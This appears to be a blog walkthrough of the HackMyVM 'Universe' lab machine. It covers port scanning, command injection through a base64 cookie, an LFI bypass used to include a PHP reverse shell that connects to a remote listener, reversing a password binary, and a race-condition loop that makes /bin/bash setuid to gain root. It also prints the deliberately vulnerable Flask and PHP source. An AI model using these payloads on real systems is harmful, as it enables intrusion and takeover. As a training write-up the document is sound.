banner
言心吾

言心吾のBlog

吾言为心声

HackMyVM Universe Target Field Review

Introduction#

Difficulty: Hard

Target Address: https://hackmyvm.eu/machines/machine.php?vm=Universe

Initial Access#

A simple scan

# Nmap 7.95 scan initiated Wed Jul  2 22:48:57 2025 as: /usr/lib/nmap/nmap -sC -sV -p21,22,1212 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.144
Nmap scan report for 192.168.56.144
Host is up (0.0032s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_  256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
1212/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-title: Universe
|_Requested resource was /?user=920
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Port 21 cannot log in anonymously.

Port 1212 is http, and from the nmap scan results, there is a user parameter.

image

After accessing a few times, I found that the user changes randomly.

Directly using fuzzing, trying to download the entire webpage.

for i in {1..1000};do wget http://192.168.56.144:1212?user=$i;done

Finally, 9 works.

image

I also tried wfuzz, but it was unsuccessful. However, theoretically, using fuzzing tools should work, so I leave it for everyone to try~

wfuzz -c -z range,1-1000 --follow "http://192.168.56.144:1212?user=FUZZ"

image

According to the webpage, it seems that a cookie needs to be passed in, but directly passing the value to exec will cause an error.

So I encoded it in base64 to successfully execute the command (this part is quite hard to think of, and the target machine gives no hints).

I used wget rev.sh and then bash rev.sh.

image

image

Finally, here is the source code of the challenge:

from flask import Flask, render_template, request, make_response, redirect, url_for
import subprocess
import base64
import random

app = Flask(__name__)

user_id_range = range(1, 1001)

@app.errorhandler(404)
def page_not_found(e):
    return redirect(url_for('index', user=random.choice(user_id_range)))

@app.route('/')
def index():
    try:
        user_id = int(request.args.get('user', -1))
    except ValueError:
        return redirect(url_for('index', user=random.choice(user_id_range)))

    if not isinstance(user_id, int) or user_id not in user_id_range:
        user_id = random.choice(user_id_range)
        return redirect(url_for('index', user=user_id))

    if user_id == 9:
        encoded_command = request.cookies.get('exec', '')
        if encoded_command:
            try:
                command = base64.b64decode(encoded_command).decode()
                result = subprocess.check_output(command, shell=True).decode()
                return render_template('universe.html', result=result)
            except Exception as e:
                return render_template('universe.html', result="Invalid cookie value"), 500
        else:
            return render_template('universe.html', result="Missing 'exec' cookie")

    return render_template('index.html', user_id=user_id), 403

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=1212)

Privilege Escalation#

Port Forwarding#

ss -plntu shows that there is a local-only accessible port 8080.

So I forwarded the port, which can be done with socat, but I prefer using ssh remote port forwarding because it is more versatile.

ssh -R 18080:127.0.0.1:8080 -CNfg [email protected]

Then I can access it directly.

LFI#

The page clearly has LFI, but there are restrictions. After trying a few bypasses, I found that double writing can bypass it by using …//…//…// to return to the parent directory.

image

Don't forget we have a shell, so first create a PHP reverse shell in the tmp directory, and then include it.

<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.10/4444 0>&1'");?>

Access http://127.0.0.1:18080/?file=..././..././....//tmp/shell.php to get the void user's shell.
image

Here is the source code as well:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Void</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #fffff;
        }

        header {
            background-color: #222529;
            padding: 10px;
            color: white;
            text-align: center;
        }

        nav {
            background-color: #444;
            padding: 10px;
            text-align: center;
        }

        nav a {
            color: white;
            text-decoration: none;
            margin: 0 10px;
        }

        .container {
            padding: 20px;
        }
    </style>
</head>
<body>

<header>
    <h1>Void</h1>
</header>

<nav>
    <a href="?file=love.php">Love</a>
    <a href="?file=shine.php">Shine</a>
    <a href="?file=sadness.php">Sadness</a>
</nav>

<div class="container">
    <?php
    if (isset($_GET['file'])) {
        $file = str_replace("../", '', $_GET['file']);
        $path = "/home/void/web-void/$file";

        if ($file === 'shine.php') {
            echo '<p>Like the stars in the universe, your inner light shines with unique beauty and incomparable purpose. Although you may feel "void" at this moment or any other time, remember that in the infinite canvas of the cosmos, every star has its place, and you, dear stranger, are a priceless star in the constellation of life. Your presence illuminates the world in ways you cannot imagine. You can still go on</p>';
        } elseif (file_exists($path)) {
            include($path);
        } else {
            echo '<p>Under construction</p>';
        }
    }
    ?>
</div>

</body>
</html>

Quasar Reverse Engineering#

sudo -l to start.

image

image

Besides Quasar, there is also a print.sh script in this directory.

void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"

First, let's take a closer look at Quasar.

image

The program checks if the password is correct and then executes print.sh.

In today's world, using IDA and MCP for automated reverse engineering is the way to go.

image

## Program Function Analysis

### Program Overview
This is a password verification program named "universe," with the main functions:
1. Accept a command line argument as a password.
2. Generate a key based on mathematical operations.
3. Compare the input password and the generated key using SHA256 hash.
4. If verification passes, execute a shell script.

### Detailed Function Analysis

#### 1. Main Function (main - 0x14f2)
- Checks the number of command line arguments, which must be 2 (program name + password).
- If the arguments are incorrect, outputs usage instructions: "Uso: ./Quasar <password>"
- Calls three key functions for password verification.

#### 2. Key Generation Function (sub_1219)
This function generates a 10-character key through complex mathematical operations:
- Uses a double loop (outer 0-9, inner 0-4).
- In each iteration, performs the following mathematical operations:
  - `sin(π * n9/3 + n4)` squared.
  - `log(n9 + n4 + 3)` multiplied by the above result.
  - `exp(sqrt(n9 + n4 + 1))` added to the previous result.
  - `tgamma(n9 + n4 + 1)` gamma function calculation.
- Finally, converts the calculation result to characters and stores them.

#### 3. SHA256 Hash Function (sub_1414)
- Performs SHA256 hashing on the input 10-byte data.
- Converts the 32-byte hash result to a 64-character hexadecimal string.
- Uses OpenSSL's SHA256 functions (SHA256_Init, SHA256_Update, SHA256_Final).

#### 4. Verification Logic
- Generates a mathematical key and calculates its SHA256 hash value.
- Calculates the SHA256 hash value of the user input password.
- Compares the two hash values for equality.
- If they match, executes the `/scripts/print.sh` script.
- If they differ, outputs "Error!"

### Security Features
- Uses stack protection (stack canary).
- Password verification is based on complex mathematical operations, making it difficult to reverse engineer directly.
- Uses standard SHA256 hash algorithm for comparison.

Reproducing the Calculation Logic#

From the decompiled code, it can be seen that the mathematical operations for key generation are deterministic, and we can reproduce it using a Python script:

import math

def generate_key():
    s1 = ""
    
    for n9 in range(10):  # 0 to 9
        v10 = 0.0
        
        for n4 in range(5):  # 0 to 4
            # sin(π * n9/3 + n4)^2
            x = math.sin(math.pi * n9 / 3.0 + n4)
            v5 = x ** 2
            
            # log(n9 + n4 + 3) * v5
            v6 = math.log(n9 + n4 + 3) * v5
            
            # exp(sqrt(n9 + n4 + 1)) + v6
            x_1 = math.sqrt(n9 + n4 + 1)
            v7 = math.exp(x_1) + v6
            
            # tgamma function processing
            v3 = n9 + n4 + 1
            if (n9 + n4) < 0xFFFFFFFE and (n9 + n4) != 0:
                v3 = 0
            
            # tgamma(n9 + n4 + 1) * v3 + v7 + v10
            v10 = math.gamma(n9 + n4 + 1) * v3 + v7 + v10
        
        # Convert to character
        char_val = int(100.0 * v10) % 10 + 48  # 48 is the ASCII for '0'
        s1 += chr(char_val)
    
    return s1

# Generate key
key = generate_key()
print(f"Generated key: {key}")

# Calculate SHA256 hash
import hashlib
hash_value = hashlib.sha256(key.encode()).hexdigest()
print(f"SHA256 hash: {hash_value}")

image

image

The password is 9740252204.

Write-After-Free#

The content of the print.sh script is as follows:

#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
( 
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
/usr/bin/rm "$tmp_file"

This script performs the following operations:

  1. Uses the mktemp command to create a temporary file in the /tmp directory, with a name starting with read- followed by five random characters.
  2. In a subshell (enclosed by ( and )), it first sets the file creation mask to 110 using the umask command, meaning the newly created file will have 556 permissions.
  3. Back in the main shell, it writes the string test to the temporary file.
  4. Uses the cat command to read the contents of the temporary file and stores it in the variable data.
  5. Finally, it uses the eval command to execute the contents of the data variable and deletes the temporary file.

In the script, the commands are executed line by line, meaning there is a time gap before eval executes. If we can overwrite the temporary file's contents during this time gap, we can inject and execute arbitrary commands.

Open another terminal and execute the following command:

while :; do a=$(ls /tmp/read-* 2>/dev/null | head -n 1); if [ -n "$a" ]; then echo 'chmod +s /bin/bash' > "$a"; fi; done

The principle is simple: it continuously monitors the temporary files in tmp (using wildcards), and as soon as one exists, it writes the privilege escalation command into it.

In the end, the competition was successful, and I obtained root privileges!
image

image

Postscript#

The Universe target machine is very well designed and is a highly comprehensive target machine. Although it is marked as "hard" difficulty, I believe the overall difficulty is not particularly high, and the process of overcoming it was relatively smooth; it was just a matter of progressing step by step. Besides needing to encode for exec, there were no other particularly difficult points. Especially the final privilege escalation stage, which cleverly utilized the race condition vulnerability in the print.sh script, added a highlight to the entire challenge. Overall, this is a highly recommended comprehensive target machine!

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.